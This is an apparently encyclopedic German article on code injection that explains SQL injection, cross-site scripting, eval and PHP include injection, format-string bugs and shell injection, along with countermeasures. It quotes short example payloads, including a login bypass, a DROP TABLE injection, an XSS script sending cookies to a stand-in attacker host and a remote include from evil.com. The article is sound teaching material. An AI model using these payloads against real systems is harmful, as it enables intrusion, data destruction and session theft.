Code-Injektion ist das Einschleusen und Ausführen von unerwünschtem Programmcode, durch die Ausnutzung eines Computerfehlers. Dabei werden externe Daten von einem Angreifer genutzt, um Code in ein verwundbares Computerprogramm einzuschleusen (zu „injizieren“) und zur Ausführung zu bringen. Das Ergebnis einer erfolgreichen Code-Injektion kann verheerend sein, etwa durch Verbreitung von Schadsoftware.

Bestimmte Arten von Code-Injection sind Interpretationsfehler, die den Benutzereingaben eine besondere Bedeutung verleihen, indem dort nicht zwischen Benutzereingaben und Systembefehlen unterschieden wird.

Code-Injection-Schwachstellen treten auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter sendet. Am häufigsten treten sie auf in SQL, LDAP, XPath, NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern, SMTP-Kopfzeilen und allgemein in den Parametern von Programmaufrufen. Injektionsschwachstellen sind in der Regel im Quellcode leichter zu entdecken als durch Tests.^[1] Scanner und Fuzzers können helfen, Injektionsschwachstellen zu finden.^[2]

Injektion kann zu Datenverlust oder -beschädigung oder Zugriffsverweigerung führen – manchmal sogar zu einer kompletten Hostübernahme.

Code-Injection-Techniken sind bei System-Hacking oder Cracking beliebt, um Informationen, Privilegienerweiterung oder unberechtigten Zugriff auf ein System zu erlangen. Code-Injection kann zu vielen Zwecken böswillig eingesetzt werden, z. B:

• Beliebiges Verändern von Werten in einer Datenbank durch SQL-Injection. Die Auswirkungen können von der Verunstaltung von Webseiten bis zur ernsthaften Kompromittierung sensibler Daten reichen.
• Installieren von Malware oder Ausführen von bösartigem Code auf einem Server durch Einschleusen von Server-Scripting-Code (wie PHP oder ASP).
• Privilegieneskalation zu root-Rechten durch Ausnutzung von Shell-Injection-Schwachstellen in einem setuid root-Binary unter UNIX oder Local System durch Ausnutzung eines Dienstes unter Microsoft Windows.
• Angriffe auf Web-Benutzer mit HTML-Skript-Injektion (Cross-Site-Scripting).

Im Jahr 2008 wurden 5,66 % aller in diesem Jahr gemeldeten Schwachstellen als Code Injection klassifiziert, der höchste Wert in den Aufzeichnungen. Im Jahr 2015 war dies auf 0,77 % gesunken.^[3]

Theoretisch kann Code-Injektion mit guten Absichten verwendet werden,^[4][5] indem etwa eine Suchergebnisseite eine nützliche neue Spalte anzeigt oder den Inhalt weiter filtert, ordnet oder gruppiert. Auch beim Testen von Software, besonders bei Penetrationstests, leistet Code-Injektion gute Dienste („White Hat“). Selbst ein Softwareentwickler wird manchmal Methoden einsetzen, die diesen Namen verdienen – etwa eine Bibliotheksfunktion vorübergehend durch eine eigene Funktion mit gleichem Namen überschreiben.^[6]

Natürlich könnte ein Nutzer auch ohne Absicht Code injizieren. Er hält beispielsweise etwas für eine gültige Eingabe, was vom Entwickler mit einer besonderen Bedeutung versehen wurden – vielleicht nur ein Kaufmanns-Und oder ein Apostroph in einem Firmennamen. So etwas könnte auch in einer Datei stehen, die der Nutzer hochlädt.

Um Code-Injection-Probleme zu verhindern, ist vor allem eine sichere Handhabung von Ein- und Ausgaben notwendig:

• Die verwendete Programmierschnittstelle („API“) sollte gegen alle Eingaben sicher sind, wie etwa vorkompilierte SQL-Anweisung mit Platzhaltern für die Benutzerdaten oder die Criteria API.^[7]
• Erzwingen der Sprachentrennung über ein statisches Typensystem.^[8]
• Eingabevalidierung durch (möglichst serverseitiges) Whitelisting, also einer Liste akzeptierter Werte.
• Eingabekodierung, z. B. das Escapen ungewollter Zeichen. In PHP z. B. mit der Funktion htmlspecialchars(), die Sonderzeichen für die sichere Ausgabe in HTML umschreibt, und mysqli::real_escape_string(), die Daten für eine SQL-Anfrage isoliert
• Entsprechende Ausgabekodierung zur Verhinderung von HTML-Injection-Attacken gegen Website-Besucher.
• HttpOnly ist ein Flag für HTTP-Cookies, das clientseitige Skriptinteraktion mit Cookies verhindert und damit bestimmte XSS-Angriffe.^[9]
• Modulare Shell-Abkopplung vom Kernel

Diese Lösungsvorschläge befassen sich primär mit der webbasierten Injektion von HTML- oder Skriptcode in eine serverseitige Anwendung. Für die Injektion von Benutzercode auf dem Rechner des Benutzers, die zu Angriffen mit erhöhter Berechtigung führt, müssen jedoch andere Ansätze gewählt werden. Einige Vorschläge, um verwaltete und nicht verwaltete Code-Injektionen zu erkennen und zu isolieren:

• Laufzeit-Image-Hash-Validierung – Erfassen eines Hashes eines Teils oder des kompletten Images der in den Speicher geladenen ausführbaren Datei und Vergleich mit dem gespeicherten und erwarteten Hash.
• NX-Bit – Alle Benutzerdaten kommen in einen speziellen Speicherbereich, der als nicht ausführbar markiert ist. Der Prozessor weiß dann, dass dort kein Code vorhanden sein kann, und lehnt dort die Ausführung ab.
• Canaries – Diese legen zufällig Werte auf einen Stack. Nach der Rückkehr der Funktion wird der Wert überprüft und bei Veränderung das Programm gestoppt. Dies verhindert Stack-Overflow-Attacken.
• Code Pointer Masking (CPM) – Ein Zeiger auf auszuführenden Code wird zuvor auf Plausibilität geprüft. In C kann dies auf Prozessorebene durch eine Bitmaske geschehen.^[10]

Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.

Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Diese Abfrage wird genau dann fündig, wenn es in der Tabelle BenutzerListe einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.

Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code XYZ' OR '1'='1', dann entsteht folgende Abfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'

Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort „XYZ“ (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.

Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: ';DROP TABLE BenutzerListe; --. In diesem Fall entsteht die folgende Datenbankabfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''

Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als Nächstes folgt eine DROP-Anweisung, die die komplette Tabelle BenutzerListe sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.

Code-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein Gästebuch an, in dem Besucher kleine Nachrichten hinterlassen sollen – Dinge wie

Sehr schöne Seite!

Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen:

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <script> bis </script> gar nicht – statt ihn anzuzeigen, führt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwünschte Aktionen ausführen – wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.

Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als „Cross-Site-Scripting“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernimmt den Code des ersten Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.^[11]

Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird aufruft.^[12]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Das Argument von eval wird als PHP verarbeitet, so dass weitere Befehle angehängt werden können. Wird arg beispielsweise auf „10; system('/bin/echo uh-oh')“ gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall „/bin/echo“.

PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.^[13] Ein solcher Angriff auf Joomla wurde 2013 gefunden.^[14]

Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt):

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blau.php und rot.php geladen werden, während Angreifer COLOR=http://evil.com/exploit angeben könnten, was PHP veranlasst, die externe Datei zu laden.

Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise printf(buffer) statt printf("%s", buffer). Die erste Version interpretiert buffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.

Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array passwort hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s gefüllt wird, dann beginnt printf(), aus dem Stack zu lesen. Schließlich wird einer der %s-Formatierer auf die Adresse von Passwort zugreifen, die sich auf dem Stack befindet, und Passwort1 auf den Bildschirm ausgeben.

Shell-Injektion (oder Befehlsinjektion^[15]) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares tcsh-Skript:

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Wenn das obige in der ausführbaren Datei ./check gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil" versuchen, den injizierten Shell-Befehl evil auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.^[16]

Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören system(),^[17] StartProcess() und System.Diagnostics.Process.Start().^[18]

Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens funnytext auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Das passthru im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):^[19]

Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:

• PHP: escapeshellarg() und escapeshellcmd()
• Python: shlex.quote()

Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.

Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.

• Pufferüberlauf
• Debugging
• Monitor
• SGML-Entität
• SQL-Injection
• Trojanisches Pferd (Computerprogramm)

• Robert Kuster: Drei Wege, Ihren Code in einen anderen Prozess zu injizieren. codeproject.com
• A. Danehkar: Inject your code to a Portable Executable file. codeproject.com
• A. Danehkar: Injective Code inside Import Table. codeproject.com
• Tadeusz Pietraszek, Chris Vanden Berghe: Abwehr von Injection-Attacken durch Context-Sensitive String Evaluation (CSSE). (PDF)
• Flux breitet sich aus. emsisoft.com – Erstes Trojanisches Pferd, das Code Injection nutzt, um die Erkennung durch eine Firewall zu verhindern
• The Daily WTF berichtet regelmäßig über reale Vorfälle von Anfälligkeit für Code Injection in Software.

1. ↑ Top 10 Web Application Security Vulnerabilities. In: Penn Computing. University of Pennsylvania, archiviert vom Original am 24. Februar 2018; abgerufen am 10. Dezember 2016 (englisch). 
2. ↑ OWASP Top 10 2013 A1: Injection Flaws. OWASP, abgerufen am 19. Dezember 2013 (englisch). 
3. ↑ NVD - Statistics Search. In: web.nvd.nist.gov. Abgerufen am 9. Dezember 2016 (englisch). 
4. ↑ Raghunathan Srinivasan: Towards More Effective Virus Detectors. In: Arizona State University. Archiviert vom Original am 29. Juli 2010; abgerufen am 18. September 2010 (englisch): „Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.“ 
5. ↑ Lecture Notes in Computer Science, Jose Andre Morales, Ravi Sandhu, Shouhuai Xu, Erhan Kartaltepe. Springer, Berlin / Heidelberg 2010, ISBN 978-3-642-14705-0, Symptoms-Based Detection of Bot Processes, doi:10.1007/978-3-642-14706-7_18 (englisch). 
6. ↑ Dynamische Linker-Tricks: Mit LD_PRELOAD schummeln, Funktionen injizieren und Programme untersuchen. In: Rafał Cieślak’s blog. 2. April 2013, abgerufen am 10. Dezember 2016 (englisch). 
7. ↑ The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries. Oracle, abgerufen am 19. Dezember 2013 (englisch). 
8. ↑ Tom Moertel: Eine typbasierte Lösung für das "Strings-Problem": ein passendes Ende für XSS- und SQL-Injection-Löcher? In: Tom Moertel’s Blog. 18. Oktober 2006, abgerufen am 21. Oktober 2018 (englisch). 
9. ↑ HttpOnly. In: OWASP. 12. November 2014, abgerufen am 10. Dezember 2016 (englisch). 
10. ↑ Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Masking Code Pointers to Prevent Code Injection Attacks. In: ACM Transactions on Information and System Security. Band 16, Nr. 1, 1. Juni 2013, ISSN 1094-9224, S. 1–27, doi:10.1145/2487222.2487223 (englisch, Online [PDF]). 
11. ↑ Brian Hope, Paco Hope, Ben Walther: Web Security Testing Cookbook. O’Reilly Media, Sebastopol CA 2009, ISBN 978-0-596-51483-9, S. 254 (englisch, Online). 
12. ↑ Steven M. Christey: Dynamische Auswertungsschwachstellen in PHP-Anwendungen. 3. Mai 2006, abgerufen am 21. Oktober 2018 (englisch). 
13. ↑ Unserialize function warnings. PHP.net, abgerufen am 20. Januar 2023 (englisch). 
14. ↑ Analyse der Joomla PHP Object Injection Vulnerability. Abgerufen am 6. Juni 2014 (englisch). 
15. ↑ Command Injection. OWASP, abgerufen am 20. Januar 2023 (englisch). 
16. ↑ Douglas W. Jones, CS:3620 Notes, Lecture 4 – Shell Scripts, Spring 2018.
17. ↑ system(3) – Linux man page. linux.die.net
18. ↑ Overloads. MSDN.
19. ↑ Command Injection. Archiviert vom Original am 27. Februar 2015; abgerufen am 27. Februar 2015 (englisch).